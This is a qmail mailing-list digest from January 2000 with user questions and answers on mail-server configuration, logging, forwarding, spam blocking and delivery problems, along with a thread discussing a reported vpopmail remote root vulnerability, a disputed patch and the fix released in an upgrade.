qmail Digest 25 Jan 2000 11:00:01 -0000 Issue 891
Topics (messages 35979 through 36061):
Problems bouncing redirected mails
35979 by: Bernat Ginard
Any way to log and correlate qmail-smtpd/qmail-send IP addresses?
35980 by: Reuben Farrelly
36002 by: Dr. Erwin Hoffmann
36027 by: George Cox
Databytes file
35981 by: TAG
Re: remote root qmail-pop with vpopmail advisory and exploit with patch (fwd)
35982 by: Russ Allbery
35983 by: Russ Allbery
35984 by: Robert Varga
35985 by: Ian Lance Taylor
35991 by: iv0
35997 by: Robert Varga
36020 by: Giles Lean
36022 by: what's your style?
36025 by: Russ Allbery
Something strange in my logs.
35986 by: Chris Readle
35987 by: Anand Buddhdev
35988 by: Walt Mankowski
35989 by: Russell Nelson
36005 by: Dave Sill
Wildcard virtual email mapping
35990 by: Robbie Honerkamp
36000 by: Dave Kitabjian
36004 by: Tong
forwarding without .forward package?
35992 by: Voitenko, Denis
35995 by: Thomas Neumann
35996 by: Petr Novotny
35998 by: Robert Varga
35999 by: Petr Novotny
Re: Blocking Mails
35993 by: Abel Lucano
36001 by: Dr. Erwin Hoffmann
Re: High-load servers...
35994 by: cmikk.uswest.net
36048 by: cmikk.uswest.net
Re: problems sending local email with qmail
36003 by: Dave Sill
36007 by: Russell Nelson
Duplicates on outbound mail, not inbound
36006 by: Kevin Lee
36010 by: Mark Delany
36012 by: Dave Sill
Re: user maildirsmtp fail
36008 by: Dave Sill
Re: default to mailing list
36009 by: Dave Sill
Re: Newbie needs help.....
36011 by: Dave Sill
Re: Relay problem with Qmail?
36013 by: Dave Sill
Re: a little confusion regarding ~user/Mailbox
36014 by: Dave Sill
Re: Getting error from qmail
36015 by: Dave Sill
36019 by: Petr Novotny
Re: SMTP AUTH - was: High-load servers...
36016 by: Dave Sill
36026 by: listy-dyskusyjne Krzysztof Dabrowski
Re: mail relay
36017 by: Dave Sill
qmail delivery slowdown under high load
36018 by: Andras Tudos - Computronic, C3
36021 by: Mark Delany
36028 by: George Cox
36042 by: Andras Tudos - Computronic, C3
problems retrieving email
36023 by: Eric LaLonde
36029 by: Dave Sill
36030 by: Petr Novotny
36036 by: Eric LaLonde
36038 by: Stig Sandbeck Mathisen
36044 by: Eric LaLonde
can't open error_file
36024 by: Steve Wolfe
36031 by: Dave Sill
reverse DNS
36032 by: Justin Bell
36034 by: Tim Hunter
36035 by: nascheme.enme.ucalgary.ca
ANNOUNCE: Scan4Virus-0.15 - Qmail-specific anti-virus wrapper
36033 by: Jason Haar
rcpthosts question
36037 by: Adam Michaud
36041 by: Adam Michaud
/usr/sbin/sendmail
36039 by: kevin olson
36040 by: Steve Wolfe
qpopper vs washington edu pop
36043 by: Max
Vpopmail (qmail add-on) is vulnerable to remote root exploit (vpopmail, vchkpw)
36045 by: Irwan Hadi
36056 by: iv0
QMQP and QMTP
36046 by: Brian Baquiran
Re: Ryan Sharon's new address
36047 by: AMANDA BETH ELDER
36050 by: Jacob Joseph
alternate qmail-popup.c patch for untrusted/insecure checkpassword implementations
36049 by: Adam McKenna
Alternatives to NFS-mounted Maildirs
36051 by: Brian Baquiran
36052 by: Thorkild Stray
36053 by: admin.delanet.com
error message help
36054 by: David McCall
Multiple domain accounts mail to be collected in single account
36055 by: john
Truncating large attachments in bounced mail
36057 by: David Cunningham
NOT Exchange and OUTLOOK
36058 by: Lars-�ke Torlind
ANNOUNCE: QMAIL 1.03 SPAMCONTROL Patch
36059 by: Dr. Erwin Hoffmann
QMAIL 1.03 SPAMCONTROL Patch
36060 by: Dr. Erwin Hoffmann
mbox format on qmail
36061 by: Kristina
Administrivia:
To unsubscribe from the digest, e-mail:
[EMAIL PROTECTED]
To subscribe to the digest, e-mail:
[EMAIL PROTECTED]
To bug my human owner, e-mail:
[EMAIL PROTECTED]
To post to the list, e-mail:
[EMAIL PROTECTED]
----------------------------------------------------------------------
Hi all, Recently I have set up a mail server with qmail and vpopmail. But the problem is that when somebody tries to send a mail to a non existent account qmail accepts the mail and then bounces and return the mail to the sender. There is no problem with it except for the case the mail is arriving through a redirection, in that case the bounce mail is tried to be delivered to the server which has the redirection (the sender in the SMTP envelope) but with destination the real sender and in this case the intermediate mail server doesn't accept the mail because it is not sent to one of its users and the mail double bounces. There is any way to make the mail be returned to the sender other than resend them manually. Regards, -- Bernat Ginard Llad� mailto:[EMAIL PROTECTED] http://www.kaos.es
Hi people, Is it possible to have qmail-smtpd log the connecting IP address (and/or hostname) in the same log (preferably the same line) for every incoming SMTP connection it handles? I am presently running tcpserver/qmail-1.03 but am in the position of being able to change if need be. I am also using multilog, but having different logs for smtpd and qmail-send and having to correlate things that way isn't overly useful... I have seen this sort of logging done once before but did not manage to find out how it was done. Can anyone suggest anything? Thanks, Reuben
At 23:04 24.1.2000 +1100, you wrote: > >Hi people, > >Is it possible to have qmail-smtpd log the connecting IP address (and/or >hostname) in the same log (preferably the same line) for every incoming >SMTP connection it handles? I am presently running tcpserver/qmail-1.03 >but am in the position of being able to change if need be. I am also using >multilog, but having different logs for smtpd and qmail-send and having to >correlate things that way isn't overly useful... > >I have seen this sort of logging done once before but did not manage to >find out how it was done. Can anyone suggest anything? > >Thanks, >Reuben > > Hi, have a look at my SPAMCONTROL patch I put to the qmailannounce list. eh. +-----------------------------------------------------------------------+ | fff hh Dr. Erwin Hoffmann | | ff hh | | ff eee hhhh ccc ooo mm mm mm Wiener Weg 8 | | fff ee ee hh hh cc oo oo mmm mm mm 50858 Koeln | | ff ee eee hh hh cc oo oo mm mm mm | | ff eee hh hh cc oo oo mm mm mm Tel 0221 484 4923 | | ff eeee hh hh ccc ooo mm mm mm Fax 0221 484 4924 | +-----------------------------------------------------------------------+
On 24/01 23:04, Reuben Farrelly wrote: > Is it possible to have qmail-smtpd log the connecting IP address (and/or > hostname) in the same log (preferably the same line) for every incoming This may not _exactly_ answer your question, but did you read FAQ 5.1? gjvc -- [gjvc] In god we're trussed
HI ALL, Is it possible to set individual quotas for mailbox send and recieve for specific users or virtualdomains?? Many Thanks Tonino
Russell Nelson <[EMAIL PROTECTED]> writes: > Derek Callaway writes: >> Curious, what's so insecure about syslog()? > A version was subject to a buffer overflow attack. That's just for starters. To be fair, current syslog on *most* Unix systems is now pretty solid except for occasionally losing messages. But among the problems I've seen or heard of in different implementations: * No length checking leading to buffer overflow attacks. * No filtering of characters leading to odd behavior as various components not expecting arbitrary binary data get it in messages. * Poor behavior under load, often dropping messages without an error (this is still a common problem with syslogd, and is always going to be a problem with the syslog network protocol since it uses UDP). The interface also tends to be wildly different across different brands of Unix if you want to do anything more than call the syslog() function in libc. And there are several syslog packages (Solaris is notable here) whose configuration file parsing is so picky and buggy that even people aware of and expecting the pickiness often have trouble getting it to work right. -- Russ Allbery ([EMAIL PROTECTED]) <URL:http://www.eyrie.org/~eagle/>
Russell Nelson <[EMAIL PROTECTED]> writes: > Securing vchkpop. There is no reason to limit the username or password > information to 40 characters, even if the RFC does say to do it. That's not what the RFC says. The RFC says that the *client* shall not send arguments in excess of 40 characters in the absence of extensions. It says nothing at all about what the server should do if it receives arguments in excess of 40 characters. -- Russ Allbery ([EMAIL PROTECTED]) <URL:http://www.eyrie.org/~eagle/>
On Sun, 23 Jan 2000, iv0 wrote: > > I recommend upgrading to the latest version of vpopmail which fixes > the exploit. Pick up the current stable version: So it is fixed from version 3.4.11? Robert Varga
From: Russell Nelson <[EMAIL PROTECTED]> Date: Sun, 23 Jan 2000 22:53:31 -0500 (EST) > 5. Recommendation > > Impose the 40 character limitation specified by RFC1939 into qmail. > Apply qmail-popup patch http://www.ktwo.ca/c/qmail-popup-patch I don't recommend applying that patch. Every line of it is wrong. It makes qmail-popup less secure, by inserting a call to syslog(), which is a security disaster. It also sucks in the string library, which includes the well-known security hole sprintf(). Besides, unless I'm missing something, the patch is simply incorrect. It should set userlen to strlen(user) + 1, not just to strlen(user). Otherwise, qmail-popup won't write out the trailing null byte after the user name, breaking the protocol. (And I agree with others that patching qmail is the wrong approach in any case: qmail is not violating the RFC, and vpopmail should not assume that its input is well-conditioned.) Ian
Robert Varga wrote: > > On Sun, 23 Jan 2000, iv0 wrote: > > > > > I recommend upgrading to the latest version of vpopmail which fixes > > the exploit. Pick up the current stable version: > > So it is fixed from version 3.4.11? > > Robert Varga Yes, version 3.4.11j as of Jan 20th has the fix. Ken Jones
On Mon, 24 Jan 2000, iv0 wrote: > Robert Varga wrote: > > > > On Sun, 23 Jan 2000, iv0 wrote: > > > > > > > > I recommend upgrading to the latest version of vpopmail which fixes > > > the exploit. Pick up the current stable version: > > > > So it is fixed from version 3.4.11? > > > > Robert Varga > > Yes, version 3.4.11j as of Jan 20th has the fix. > > Ken Jones > If the fix is appliable to an earlier version, could it be posted separately, to provide possibility to patch the current debian (3.4.9) version until Jon Marler packages 3.4.11? Robert Varga
On 24 Jan 2000 05:38:20 -0800 Russ Allbery wrote: > That's just for starters. To be fair, current syslog on *most* Unix > systems is now pretty solid except for occasionally losing messages. But > among the problems I've seen or heard of in different > implementations: Also, depending on the vendor and version, I have seen: - syslogd hang - syslogd stop forwarding messages to other hosts, when it is configured to do so - become a CPU hog - log incorrect internal diagnostics due to clobbering errno syslogd is not quality software. There are various efforts underway to write replacements, including of course Dan's tools. People committed to syslog() style interfaces might want to look at: http://www.ietf.org/ietf/99nov/syslog-agenda-99nov.txt Regards, Giles
I only supply this sample patch because there is not one from the author. It is not designed to be in the same style of qmail code, for instance, I included a comment. Also, it is a great idea to impose the limitation on vpopmail aswell. Thanks. K2 PS. I dont believe there is a "sprintf()" in the patch code. On 24 Jan 2000, Ian Lance Taylor wrote: > From: Russell Nelson <[EMAIL PROTECTED]> > Date: Sun, 23 Jan 2000 22:53:31 -0500 (EST) > > > 5. Recommendation > > > > Impose the 40 character limitation specified by RFC1939 into qmail. > > Apply qmail-popup patch http://www.ktwo.ca/c/qmail-popup-patch > > I don't recommend applying that patch. Every line of it is wrong. It > makes qmail-popup less secure, by inserting a call to syslog(), which > is a security disaster. It also sucks in the string library, which > includes the well-known security hole sprintf(). > > Besides, unless I'm missing something, the patch is simply incorrect. > It should set userlen to strlen(user) + 1, not just to strlen(user). > Otherwise, qmail-popup won't write out the trailing null byte after > the user name, breaking the protocol. > > (And I agree with others that patching qmail is the wrong approach in > any case: qmail is not violating the RFC, and vpopmail should not > assume that its input is well-conditioned.) > > Ian >
Giles Lean <[EMAIL PROTECTED]> writes: > syslogd is not quality software. There are various efforts underway to > write replacements, including of course Dan's tools. People committed > to syslog() style interfaces might want to look at: > http://www.ietf.org/ietf/99nov/syslog-agenda-99nov.txt I subscribed to that working group when it first started, but then most of the active participants became very enamored with sending syslog messages on the wire in XML and using YYYYMMDD HHMMSS.mmm sorts of timestamps as part of the wire protocol. Use of human-readable timestamps on the wire was deemed in some of the discussions to require less processing. *shrug* Maybe I'm missing the obvious advantages of this sort of approach, but it struck me extremely wrong and I'm not sure I'll want to use anything they come up with if they stick to that same approach. -- Russ Allbery ([EMAIL PROTECTED]) <URL:http://www.eyrie.org/~eagle/>
I just noticed something strange in my qmail log....it seems that all the messages have the same message number. Basically, it seems that starting this morning all message deliveries that I can see in /var/log/qmail are getting the message number 230522. They get different *delivery* numbers, but the message # is the same....here's any example: end msg 230522 new msg 230522 info msg 230522: bytes 1460 from <[EMAIL PROTECTED]> qp 4286 uid 502 starting delivery 185: msg 230522 to local [EMAIL PROTECTED] status: local 1/20 remote 0/30 delivery 185: success: did_1+0+0/ status: local 0/20 remote 0/30 end msg 230522 new msg 230522 info msg 230522: bytes 28508 from <[EMAIL PROTECTED]> qp 4360 uid 502 starting delivery 186: msg 230522 to local [EMAIL PROTECTED] And more of the same....any ideas? Is this going to cause me problems? I did have some mail server problem over the weekend and ended up rebuilding the thing. However, I honestly don't recall whether or not it was doing the same thing before the crash. chris
On Mon, Jan 24, 2000 at 03:16:59PM -0500, Chris Readle wrote: > I just noticed something strange in my qmail log....it seems that all > the messages have the same message number. Basically, it seems that > starting this morning all message deliveries that I can see in > /var/log/qmail are getting the message number 230522. They get > different *delivery* numbers, but the message # is the same....here's > any example: qmail uses the disk inode number for the message number. Since messages come and go, inode numbers get re-used. Nothing to worry about. -- See complete headers for more info
On Mon, Jan 24, 2000 at 06:28:19PM +0300, Anand Buddhdev wrote: > On Mon, Jan 24, 2000 at 03:16:59PM -0500, Chris Readle wrote: > > > I just noticed something strange in my qmail log....it seems that all > > the messages have the same message number. Basically, it seems that > > starting this morning all message deliveries that I can see in > > /var/log/qmail are getting the message number 230522. They get > > different *delivery* numbers, but the message # is the same....here's > > any example: > > qmail uses the disk inode number for the message number. Since messages > come and go, inode numbers get re-used. Nothing to worry about. Doesn't it seem strange that every message is being written to the same inode? Is it perhaps writing to an mbox instead of a maildir?
Walt Mankowski writes: > Doesn't it seem strange that every message is being written to > the same inode? It depends on how your filesystem allocates inodes. If it keeps adding an inode back to the head of the "available" list, then nearly every message will have the same inode if you don't have a lot of messages being queued and you don't have a lot of traffic. Ignore the message numbers, though, it is the delivery number that matters. -- -russ nelson <[EMAIL PROTECTED]> http://russnelson.com Crynwr sells support for free software | PGPok | "Ask not what your country 521 Pleasant Valley Rd. | +1 315 268 1925 voice | can force other people to Potsdam, NY 13676-3213 | +1 315 268 9201 FAX | do for you..." -Perry M.
Walt Mankowski <[EMAIL PROTECTED]> wrote: >Doesn't it seem strange that every message is being written to >the same inode? Is it perhaps writing to an mbox instead of a >maildir? No, it's not strange. These are queue file i-nodes, not mailbox i-nodes. Reusing the same one just means that you never have more than one message in the queue. -Dave
I'm running Qmail in a single-UID POP server setup (as in Paul Gregg's HOWTO). Everything is working fine except.. Some users want any email coming to any possible address in their domain mapped to their mailbox. I've been playing with several possibilities in /var/qmail/users/assign, but nothing seems to work so far. Has anyone done this before under such a setup? Thanks, Robbie
We use a variation on the same HOWTO. All you do is: 1) rcpthosts: theirdomain.com 2) virtualdomains: theirdomain.com:theirdomain-com 3) assign: +theirdomain-com:popuser:888:888:/u1/...theirdomain-com/default:-:: Then, in the directory /u1/...theirdomain-com/default: 4) create Maildir 5) create .qmail-default with entry: /u1/...theirdomain-com/default/Maildir/ That should do it! Dave On Monday, January 24, 2000 10:44 AM, Robbie Honerkamp [SMTP:[EMAIL PROTECTED]] wrote: > I'm running Qmail in a single-UID POP server setup (as in Paul > Gregg's HOWTO). Everything is working fine except.. Some users > want any email coming to any possible address in their domain > mapped to their mailbox. I've been playing with several possibilities > in /var/qmail/users/assign, but nothing seems to work so far. > > Has anyone done this before under such a setup? > > Thanks, > Robbie >
Use '+' instead of '=' in users/assign as described in the FAQ. At 10:44 AM 1/24/00 -0500, Robbie Honerkamp wrote: >I'm running Qmail in a single-UID POP server setup (as in Paul >Gregg's HOWTO). Everything is working fine except.. Some users >want any email coming to any possible address in their domain >mapped to their mailbox. I've been playing with several possibilities >in /var/qmail/users/assign, but nothing seems to work so far. > >Has anyone done this before under such a setup? > >Thanks, >Robbie > > >
Title: forwarding without .forward package?I have a machine that accepts mail for domain.com and has a user denis on it. I'd like to forward all the mail to [EMAIL PROTECTED] to a different email. I tried to create a /var/qmail/alias/.qmail-denis which contained the destination email. Yet, qmail still delivers messages to the local mailbox. Is there a way to do this without installing the .forward package?
Denis
"Voitenko, Denis" <[EMAIL PROTECTED]> writes: > I have a machine that accepts mail for domain.com and has a user > denis on it. I'd like to forward all the mail to [EMAIL PROTECTED] to > a different email. I tried to create a /var/qmail/alias/.qmail-denis > which contained the destination email. Yet, qmail still delivers > messages to the local mailbox. Is there a way to do this without > installing the .forward package? If a UNIX account 'denis' exists and you don't make special arrangements for 'denis' in users/assign then ~alias is not consulted at all. Try echo '&[EMAIL PROTECTED]' > ~denis/.qmail instead. -t
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 24 Jan 00, at 11:15, Voitenko, Denis wrote: > I have a machine that accepts mail for domain.com and has a user denis > on it. I'd like to forward all the mail to [EMAIL PROTECTED] to a > different email. I tried to create a /var/qmail/alias/.qmail-denis > which contained the destination email. Yet, qmail still delivers > messages to the local mailbox. Is there a way to do this without > installing the .forward package? It wouldn't work even _with_ dot-forward package. Unless qmail-users mechanism is used, the real user is always tried before ~alias/.qmail-anything. (dot-forward lives in ~alias/.qmail-defult - and forwards only otherwise undeliverable mails.) Get a look at qmail-users if you really need to override existing users. -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: http://community.wow.net/grt/qdpgp.html iQA/AwUBOIyItVMwP8g7qbw/EQJV0QCfRTBIy1KjKUssyZ/X8EIOuLZ7EEMAoN2I R4O8aMK/B6dRme+4Bbnjt2nC =PYGk -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS [EMAIL PROTECTED] http://www.antek.cz PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits]
On Mon, 24 Jan 2000, Voitenko, Denis wrote: > I have a machine that accepts mail for domain.com and has a user denis on > it. I'd like to forward all the mail to [EMAIL PROTECTED] to a different > email. I tried to create a /var/qmail/alias/.qmail-denis which contained the > destination email. Yet, qmail still delivers messages to the local mailbox. > Is there a way to do this without installing the .forward package? > > Denis > Put the email address into ~denis/.qmail If you want to keep a local copy as well, then be sure to put the appropriate line in it as well (./Maildir/ ./Mailbox or anything else...) Existing users take precedence over aliases. Robert Varga
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On 24 Jan 00, at 17:15, Petr Novotny wrote: > It wouldn't work even _with_ dot-forward package. Why on earth am I thinking fast-forward when I read dot-forward? If you use dot-forward package, and have the default delivery instructions to run dot-forward, then .forward file gets consulted. Otherwise, .qmail gets consulted. man dot-qmail for details. -----BEGIN PGP SIGNATURE----- Version: PGP 6.0.2 -- QDPGP 2.60 Comment: http://community.wow.net/grt/qdpgp.html iQA/AwUBOIyLoFMwP8g7qbw/EQIvbwCcCM71gs+Fm25XNZ8wBT+zGocii6UAoN2Y svs/gBkrVhDhBb4zYj9xXbZ2 =XbEj -----END PGP SIGNATURE----- -- Petr Novotny, ANTEK CS [EMAIL PROTECTED] http://www.antek.cz PGP key ID: 0x3BA9BC3F -- Don't you know there ain't no devil there's just God when he's drunk. [Tom Waits]
On Mon, 24 Jan 2000, Shashi Dahal wrote: > Date: Mon, 24 Jan 2000 16:00:49 +0545 > From: Shashi Dahal <[EMAIL PROTECTED]> > To: [EMAIL PROTECTED] > Subject: Blocking Mails > > Dear All, > > Someone is spamming through my server. > The header file looks like: > > Return-Path: <[EMAIL PROTECTED]> > Received: (qmail 14914 invoked from network); 24 Jan 2000 01:54:59 -0000 > Received: from ram.wlink.com.np (HELO Pupi) (@202.79.32.33) > by trishakti.wlink.com.np with SMTP; 24 Jan 2000 01:54:59 -0000 > Message-ID: <[EMAIL PROTECTED]> > From: Administrator <[EMAIL PROTECTED]> > Reply-To: [EMAIL PROTECTED] > X-Mailer: PUPI-MAIL v.0.1 > MIME-Version: 1.0 > To: [EMAIL PROTECTED] > Subject: Internet problem year 2000. > Content-Type: multipart/mixed; boundary="-GOODMAN" > > My question is how can I block this type of address something like: > > admin_@*.com > admin_@*.net > admin_@*.org > admin_@*.edu > > Thanks in Advance > > Shashi > /var/qmail/control/badmailfrom doesn't accept wildcards. I could solve this problem patching my qmail 1.03 with flame-patches-1.03-1.6.2.diff from http://www.flame.org/qmail/ it enables a badheaders control file with more flexible rules for blocking cost?: in my personal experience, a little extra charge in my mail server (noticeable only at peak hours) best regards, --------------------------------------------------------------------- Abel Lucano E-mail: [EMAIL PROTECTED] Aolsa
At 16:00 24.1.2000 +0545, you wrote: > >Dear All, > >Someone is spamming through my server. >The header file looks like: > >Return-Path: <[EMAIL PROTECTED]> >Received: (qmail 14914 invoked from network); 24 Jan 2000 01:54:59 -0000 >Received: from ram.wlink.com.np (HELO Pupi) (@202.79.32.33) > by trishakti.wlink.com.np with SMTP; 24 Jan 2000 01:54:59 -0000 >Message-ID: <[EMAIL PROTECTED]> >From: Administrator <[EMAIL PROTECTED]> >Reply-To: [EMAIL PROTECTED] >X-Mailer: PUPI-MAIL v.0.1 >MIME-Version: 1.0 >To: [EMAIL PROTECTED] >Subject: Internet problem year 2000. >Content-Type: multipart/mixed; boundary="-GOODMAN" > > My question is how can I block this type of address something like: > >admin_@*.com >admin_@*.net >admin_@*.org >admin_@*.edu > >Thanks in Advance > >Shashi > > Hi, I put a SPAMCONTROL patch into qmailanounce. Please check. eh. +-----------------------------------------------------------------------+ | fff hh Dr. Erwin Hoffmann | | ff hh | | ff eee hhhh ccc ooo mm mm mm Wiener Weg 8 | | fff ee ee hh hh cc oo oo mmm mm mm 50858 Koeln | | ff ee eee hh hh cc oo oo mm mm mm | | ff eee hh hh cc oo oo mm mm mm Tel 0221 484 4923 | | ff eeee hh hh ccc ooo mm mm mm Fax 0221 484 4924 | +-----------------------------------------------------------------------+
On Fri, 21 Jan 2000 22:33:04 -0600 , Bruce Guenter writes: > On Fri, Jan 21, 2000 at 10:24:11PM -0600, [EMAIL PROTECTED] wrote: > > When I started my latest hack, I was under the > > impression that ofmipd supported a subset of SMTP, > > but checking the source, I see that I was mistaken. > > I probably took the "more hacking" route: I wrote > > a qmail-queue wrapper which will rewrite the message > > headers and the envelope. > > Could we see it? I am almost finished writing a simple qmail-queue > wrapper that filters the body of the message through qmail-inject. This > achieves the same header rewriting that the @fixme trick does, without > double delivery. Once I finish it I'll post it. I'll be cleaning this up today, and will post it real soon now(tm)... it's still pretty rough around the edges. Basically, it's similar to new-inject, except it sports a qmail-queue-style interface, rather than a qmail-inject-style one. -- Chris Mikkelson | "I have yet to see any problem, however complicated, [EMAIL PROTECTED] | which, when you looked at it the right way, did not | become still more complicated." -- Poul Anderson
On Fri, 21 Jan 2000 22:33:04 -0600 , Bruce Guenter writes: > On Fri, Jan 21, 2000 at 10:24:11PM -0600, [EMAIL PROTECTED] wrote: > > When I started my latest hack, I was under the > > impression that ofmipd supported a subset of SMTP, > > but checking the source, I see that I was mistaken. > > I probably took the "more hacking" route: I wrote > > a qmail-queue wrapper which will rewrite the message > > headers and the envelope. > > Could we see it? Sure: fetch http://www.users.uswest.net/~cmikk/fixup-queue.tar.gz It's a few additional/replacement files, and a patch to the stock mess822-0.58 package. -- Chris Mikkelson | Einstein himself said that God doesn't roll dice. But [EMAIL PROTECTED] | he was wrong. And in fact, anyone who has played role- | playing games knows that God probably had to roll quite | a few dice to come up with a character like Einstein. | -- Larry Wall
"Eric Lalonde" <[EMAIL PROTECTED]> wrote: >Jan 22 21:53:59 twilight qmail: 948606839.267310 starting delivery 27: msg >198762 to local [EMAIL PROTECTED] >Jan 22 21:53:59 twilight qmail: 948606839.297786 delivery 27: failure: >Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/ > >Qmail then bounces the email to the postmaster. I see it says that there is >no mailbox here by that name, however, that should not be the case, as I am >logged into the user as Mason at the time of mail attempt. >If anyone has any idea of what I have neglected to do, or what I have done >wrong, please let me know. qmail doesn't deliver to users with uppercase characters in their names. See: http://Web.InfoAve.Net/~dsill/lwq.html#uppercase-usernames -Dave
Dave Sill writes: > "Eric Lalonde" <[EMAIL PROTECTED]> wrote: > > >Jan 22 21:53:59 twilight qmail: 948606839.267310 starting delivery 27: msg > >198762 to local [EMAIL PROTECTED] > >Jan 22 21:53:59 twilight qmail: 948606839.297786 delivery 27: failure: > >Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/ > > > >Qmail then bounces the email to the postmaster. I see it says that there is > >no mailbox here by that name, however, that should not be the case, as I am > >logged into the user as Mason at the time of mail attempt. > >If anyone has any idea of what I have neglected to do, or what I have done > >wrong, please let me know. > > qmail doesn't deliver to users with uppercase characters in their > names. Yup. Eric would have figured this out if he'd tried qmail-lint. Y'all can read Dave's excellent http://Web.InfoAve.Net/~dsill/lwq.html , or run a program: http://qmail.org/qmail-lint-0.55 -- -russ nelson <[EMAIL PROTECTED]> http://russnelson.com Crynwr sells support for free software | PGPok | "Ask not what your country 521 Pleasant Valley Rd. | +1 315 268 1925 voice | can force other people to Potsdam, NY 13676-3213 | +1 315 268 9201 FAX | do for you..." -Perry M.
Hi, We use qmail to send out large subscriber emagazine/newsletter mailings (2 million messages/week), and we seem to have a problem with some subscribers getting duplicates. I have seen fixes for duplicates on inbound mail, but does anyone know how to address our problem on outbound mail. Onelist and Hotmail don't seem to have a dupe problem. The problem is sporadic and unpredictable. Sometimes the duplicates have the same time stamp, and other times they are separated by an hour (message sent back into the cue as undelivered?). Any thoughts? Kevin Lee TeamINTERACT --------------------- NY office ---------------------------- 352 7th Ave 3rd Floor 212-402-7767 NYC Fax:212-402-7768 New York, NY 10001 http://www.teaminteract.com --------------------- NJ office ---------------------------- 1100 Cornwall Rd Suite 5 Tel: 732-940-6550 Monmouth Junction, NJ 08852 Fax: 732-940-6540 -- Full Service Multimedia Agency: Disk/CD-ROM, KIOSKS, Sales Presentations, Tradeshow, Web, Screensavers. http://www.did-it.com/ Boost search engine traffic Guaranteed! http://www.briefme.com/ FREE subscriptions to over 80 e-zines http://www.virtualinsults.com/ insulting greeting cards, FREE
Do your logs show that you are sending it twice? Note that duplicates are always possible with SMTP and there is nothing you can do about it. One scenario is simply that the other end sends back a 250 OK which your end never sees. What does your end do? Resend as it must. Ultimately only the receiver knows if it has a duplicate. What if a person is subscribed with multiple addresses? What if a subscriber address is an exploder? Regards. On Mon, Jan 24, 2000 at 12:38:09PM -0500, Kevin Lee wrote: > Hi, > > We use qmail to send out large subscriber emagazine/newsletter mailings (2 > million messages/week), and we seem to have a problem with some subscribers > getting duplicates. I have seen fixes for duplicates on inbound mail, but > does anyone know how to address our problem on outbound mail. Onelist and > Hotmail don't seem to have a dupe problem. > > The problem is sporadic and unpredictable. > > Sometimes the duplicates have the same time stamp, and other times they are > separated by an hour (message sent back into the cue as undelivered?). > > Any thoughts? > > > Kevin Lee > TeamINTERACT > --------------------- NY office ---------------------------- > 352 7th Ave 3rd Floor 212-402-7767 NYC Fax:212-402-7768 > New York, NY 10001 http://www.teaminteract.com > --------------------- NJ office ---------------------------- > 1100 Cornwall Rd Suite 5 Tel: 732-940-6550 > Monmouth Junction, NJ 08852 Fax: 732-940-6540 > -- > Full Service Multimedia Agency: Disk/CD-ROM, KIOSKS, Sales Presentations, > Tradeshow, Web, Screensavers. > http://www.did-it.com/ Boost search engine traffic Guaranteed! > http://www.briefme.com/ FREE subscriptions to over 80 e-zines > http://www.virtualinsults.com/ insulting greeting cards, FREE >
Kevin Lee <[EMAIL PROTECTED]> wrote: >The problem is sporadic and unpredictable. > >Sometimes the duplicates have the same time stamp, and other times they are >separated by an hour (message sent back into the cue as undelivered?). > >Any thoughts? Check the qmail-send logs. -Dave
[EMAIL PROTECTED] wrote: >[root@head alias]# /usr/local/bin/maildirsmtp /var/qmail/alias/pppdir \ >> alias-ppp- 202.96.134.132 'szptt.net.cn' >maildirserial: fatal: unable to run tcpclient: file does not exist >maildirserial: fatal: unable to run tcpclient: file does not exist >maildirserial: fatal: unable to run tcpclient: file does not exist >maildirserial: fatal: making no progress, giving up > >can somebody help me? Is ucspi-tcp installed? In the standard location (/usr/local/bin)? Is /usr/local/bin/in root's path? -Dave
"J.M. Roth \(iip\)" <[EMAIL PROTECTED]> wrote: >What do I need to put in the .qmail-default file if I want to deliver >to a mailing list ? A list of the recipients, one per line. >simply the directory of the mailing list username doesn't seem to >work (probably because there's no Mailbox directory in there) See "man dot-qmail". -Dave
Kevin Kling <[EMAIL PROTECTED]> wrote: >@40000000388b7e6e2a40660c new msg 28615 >@40000000388b7e6e2a42717c info msg 28615: bytes 238 from ><[EMAIL PROTECTED]> qp 750 uid 500 >@40000000388b7e6e2fa74d7c starting delivery 1: msg 28615 to local >[EMAIL PROTECTED] >@40000000388b7e6e2faa2fc4 status: local 1/10 remote 0/20 >@40000000388b7e6f086a617c delivery 1: failure: >Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/ Do you have a "kevin2" user or alias? Which? What's in control/defaultdelivery? >locals: >Messages for mail.saraymca.com are delivered locally. > >rcpthosts: >SMTP clients may send messages to recipients at mail.nothing.com. Are you mail.saraymca.com, mail.nothing.com, or both? If both, then both should be listed in both locals and rcpthosts. -Dave
Jason Haar <[EMAIL PROTECTED]> wrote: >I think work needs to be done on Qmail-1.03 when mail is sent of the form >"rcpt to: <[EMAIL PROTECTED]@local.domain>". > >If Qmail was delivering such a message locally ("local.domain" is in >/var/qmail/control/locals), that would be converted to bogus local user >"[EMAIL PROTECTED]" - and bounce - cool. > >However, if Qmail is part of a - say - firewall DMZ and delivers to an >internal non-Qmail server any mail ending in @local.domain, then it does >just that. How are you routing @local.domain to the internal, non-qmail server? If you're doing it through a .qmail file, add something like: |if echo $LOCAL |grep -q "%" ; then echo "percent hack relaying not allowed"; exit |100; fi |if echo $LOCAL |grep -q "!" ; then echo "bang path relaying not allowed"; exit 100; fi If you're doing it through smtproutes, the non-qmail system should either complain about the invalid syntax of the address, or the relay attempt. -Dave
"Eric Lalonde" <[EMAIL PROTECTED]> wrote: >I've been reading the INSTALL.mbox and am a little confused on >exactly how to change from using /var/spool/mail/user to >~user/Mailbox. My understanding is that I create a symbolic link >called Mailbox in the user's directory that links to >/var/spool/mail/user. Nope. >Instead, do I copy /var/spool/mail/user to ~user/Mailbox, delete >/var/spool/mail/user, and make a symbolic link from the new file >~user/Mailbox to /var/spool/mail/user? Yep, that's what it says in INSTALL.mbox. >would this work for something like 'mail' under linux? Any further >explanation is appreciated. It should work, but as INSTALL.mbox says, some MUA's will have trouble, and you'll need to tell them to read from ~user/Mailbox. See INSTALL.mbox for details. -Dave
